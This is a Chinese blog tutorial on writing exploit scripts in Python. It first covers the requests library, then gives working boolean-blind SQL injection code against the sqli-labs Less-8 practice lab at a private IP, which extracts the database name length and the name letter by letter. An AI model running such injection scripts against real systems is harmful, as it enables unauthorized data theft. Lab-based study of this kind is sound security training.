首页 > 编程语言 >用Python编写EXP

用Python编写EXP

时间:2022-12-26 20:40:13浏览次数:26  
标签:get Python res 192.168 url EXP print 编写 requests


高考过后,你不用告诉我你考多少分,悲喜之后也不要告诉我你志愿填了哪里,只要告诉我最后去了哪?我坐火车或飞机要多久,在此停留能否蹭口饭吃,一本二本我真的分不清楚,我只知道你是我朋友。。。

----  网易云热评

一、环境

1、python3

2、用到的模块requests

 

二、requests模块应用

1、获取网页的内容

# coding=utf-8

import requests

res=requests.get("http://192.168.1.129/html/1.html")

print(res.content.decode("utf-8"))

2、获取头信息

3、获取提交的网址

print(res.headers)

print(res.url)

运行结果:

{'Date': 'Tue, 04 Aug 2020 13:01:06 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified': 'Sun, 31 May 2020 15:48:24 GMT', 'ETag': '"676-5a6f39bc391c0"', 'Accept-Ranges': 'bytes', 'Content-Length': '1654', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}

​http://192.168.1.129/html/1.html​

4、修改访问时UA信息

# coding=utf-8

import requests

 

url="http://192.168.1.129/html/1.html"

header={"User-Agent":"aiyoubucuo"}

res=requests.get(url,headers=header)

 

print(res.request.headers)

运行结果:

{'User-Agent': 'aiyoubucuo', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

5、超时处理,网页超过三秒没有反应当做异常

# coding=utf-8

 

 

import requests

 

 

url="http://192.168.1.129/html/chaoshi.php"

 

 

try:

    res=requests.get(url,timeout=3)

    print(res.request.headers)

except Exception as e:

    print("网页已超时!!!")

6、提交get数据

# coding=utf-8

 

import requests

 

url="http://192.168.1.129/get.php"

data={"aiyou":"bucuo"}

res=requests.get(url,params=data)

print(res.url)

 

运行结果:

​http://192.168.1.129/get.php?aiyou=bucuo​

7、POST提交数据

# coding=utf-8

 

import requests

 

url="http://192.168.1.129/post.php"

 

datas={"aiyou":"bucuo"}

res=requests.post(url,data=datas)

print(res.content.decode("utf-8"))

运行结果:

array(1) {

  ["aiyou"]=>

  string(5) "bucuo"

}

8、上传文件

# coding=utf-8

 

import requests

 

url="http://192.168.1.129/shangchuan.php"

upfile={"file":open("123.txt","rb")}

datas={"submit":"submit"}

res=requests.post(url,files=upfile,data=datas)

print(res.content.decode("utf-8"))

运行结果:

用Python编写EXP_php

 

三、获取数据库长度

#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+

 

# coding=utf-8

 

import requests

 

url="http://192.168.1.129/sqli/Less-8/"

reslen=len(requests.get(url=url+"?id=1").text)

print("正常情况下网页返回数据的长度"+str(reslen))

 

dblen=0

 

while True:

    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"

    print(dburl)

    if len(requests.get(dburl).text)==reslen:

        print("数据库名字长度为:"+str(dblen))

        break

    if dblen==30:

        print("出现错误!")

        break

    dblen+=1

运行结果:

用Python编写EXP_web安全_02

 

四、获取数据库名字

# coding=utf-8

import string

 

 

import requests

 

 

 

 

url="http://192.168.1.129/sqli/Less-8/"

reslen=len(requests.get(url=url+"?id=1").text)

print("正常情况下网页返回数据的长度"+str(reslen))

 

 

#判断数据库长度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+

 

dblen=0

 

while True:

    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"

    print(dburl)

    if len(requests.get(dburl).text)==reslen:

        print("数据库名字长度为:"+str(dblen))

        break

    if dblen==30:

        print("出现错误!")

        break

    dblen+=1

 

 

dbnmae=""

#生成8个字母

for i in range(1,9):

    #获取字母从a-z

    for a in string.ascii_lowercase:

        dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+"

        print(dburl)

        if len(requests.get(dburl).text)==reslen:

            dbnmae+=a

            print(dbnmae)

            break

 

运行结果:

用Python编写EXP_web安全_03

 

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

用Python编写EXP_php_04

 

标签:get,Python,res,192.168,url,EXP,print,编写,requests
From: https://blog.51cto.com/u_15288375/5970856

相关文章

  • Python千万级字典快速去重脚本
    希望你每天醒来都是阳光的,不会因为别人的几句话,几个表情和几个举止影响自己的心情,好好生活,总会遇见美好的事。。。---- 网易云热评 一、下载地址​​https://github.com/......
  • QT案例IDE编写 -- 创建项目
    让你心动的人,给不了你心安的感觉,让你心安的人,给不了你心动的感觉,或许,这就是答案。。。---- 网易云热评一、新建QT项目1、选择Qt Widgets Application,文件--新建项目。一......
  • [oeasy]python0033_任务管理_jobs_切换任务_进程树结构_fg
    ​ 查看进程回忆上次内容上次先进程查询ps-elf查看所有进程信息ps-lf查看本终端相关进程信息杀死进程kill-9PID给进程发送死亡信号运行多个py......
  • python程序的流程控制结构
    文章目录​​一.程序的顺序结构​​​​二.程序的分支结构​​​​1.单分支结构​​​​2.二分支结构​​​​(1).基本形式​​​​(2).紧凑形式​​​​3.多分支结......
  • Python函数和代码复用
    文章目录​​一.函数的定义和使用​​​​1.函数的理解与定义​​​​(1).定义​​​​(2).作用​​​​(3).函数分类​​​​(3).基本语法​​​​2.函数的使用及调......
  • Python序列类型及操作
    文章目录​​一.序列类型定义(sequence)​​​​1.序列是具有先后关系的一组元素​​​​2.序列是一个基类类型,一般使用序列类型衍生出来的类型​​​​3.序号的定义​​......
  • Python字典类型及操作
    文章目录​​一.字典类型定义(dict)​​​​1.映射​​​​2.字典类型是映射的体现​​​​3.创建字典​​​​(1).直接创建字典​​​​(2).使用内置函数dict()创建字......
  • Python集合类型及操作
    文章目录​​一.集合类型概述(set)​​​​1.定义​​​​2.特点​​​​二.集合的创建与访问​​​​1.直接创建集合​​​​(1).定义​​​​(2).语法​​​​(3).......
  • Python网络爬虫概述
    文章目录​​一.掌握定向网络数据爬取和网页解析的基本能力​​​​二.python开发工具选择​​​​1.文本工具类IDE​​​​2.集成工具类IDE​​一.掌握定向网络数据爬......
  • Python文件与异常
    文章目录​​一.文件的基础知识​​​​1.文件与文件类型​​​​(1).定义​​​​(2).文件名的组成​​​​(3).文件类型​​​​2.目录与文件路径​​​​(1).目录......